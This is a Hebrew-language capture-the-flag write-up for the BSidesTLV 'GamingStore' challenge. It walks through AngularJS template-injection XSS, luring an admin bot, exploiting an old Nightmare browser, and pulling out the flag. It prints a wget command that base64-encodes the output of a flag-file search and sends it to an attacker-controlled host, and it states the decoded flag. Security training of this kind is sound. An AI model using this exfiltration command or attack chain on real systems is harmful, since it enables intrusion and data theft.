GamingStore

נכתב על ידי Yaakov Cohen ו-Narcissus

GamingStore

הקישור מוביל אותנו לחנות משחקי מחשב:

site

התחברנו עם הפרטים מתיאור האתגר וחיטטתנו קצת באתר. שמנו לב שבעמודים של המשחקים אנחנו יכולים לערוך את התיאור:

edited

רצינו לראות אם אפשר להשתמש ב-xss כלשהו, וגילינו שהאתר משתמש ב-AngularJS. מצאנו גם אחלה מאמר שמתאר איך אפשר לעקוף את המערכת ולהטמיע קוד js. כפי שאתם רואים בתמונה למעלה בתיאור המשחק כתוב 2, אבל בעצם הזנו {{1+1}}. אז אנחנו יודעים שאפשר לנצל XSS קבוע. עכשיו בואו נבדוק אם אפשר לגרום לבוט לגלוש לאתר שלנו. שינינו את התיאור והכנסנו את הקוד הזה:

 

בשרת ראינו שקיבלנו בקשה מהבוט, מעולה זה אומר שהוא לוחץ על קישורים. עכשיו למצוא דרך להוציא ממנו מידע.

אספנו קצת פרטים על הבוט, לדוגמה ה-user-agent:

 

הבוט משתמש בדפדפן Nightmare/2.10.0, זו גרסה די ישנה. חיפשנו חולשות לגרסה הזאת ומצאנו מתקפה מעניינת! איזה יופי.

ייצרנו עמוד על השרת שלנו עם הקוד מהמתקפה שקישרנו קודם והפננו את הבוט לעמוד החדש.

הקוד מנסה לנצל חולשה בדפדפן ולגרום להתחברות לשרת netcat. הגדרנו את השרת שלנו להאזים לפורט שציינו בעמוד החדש וחיכינו. הבוט אכן ניגש לעמוד החדש שלנו, אבל לא התבצעה חיבור לשרת netcat אז נאלצנו לחפש משהו אחר.

במקום netcat גילינו שאפשר להשתמש ב-wget ובקידוד בבסיס 64 כדי להוציא מידע. מה שעושים זה קוראים ל-wget ומשרשרים עליו את תוצאות הפקודה הרצויה אחרי שקודדנו בבסיס 64. כדי לראות אם זה עובד ניסינו להפעיל את הפקודה ls:

 

אחרי בערך חצי דקה קיבלנו בקשה מהשרת עם טקסט בבסיס 64 שהכיל:

 

מעולה זה עובד. עכשיו להשתמש בפקודה האהובה עלי. שינינו את value בקוד הקודם ל: "wget http://my_ip:8080/?data=$(/bin/cat $(find / -name flag.txt) | base64 -w 0)" ואחרי כמה שניות קיבלנו בקשה עם: QlNpZGVzVExWe0FuZ3VsYXJqU19pc19GcmVkZHlfS3J1ZWdlcn0KQlNpZGVzVExWe0FuZ3VsYXJqU19pc19GcmVkZHlfS3J1ZWdlcn0K זה מכיל את הדגל, פעמיים: BSidesTLV{AngularjS_is_Freddy_Krueger}.

Success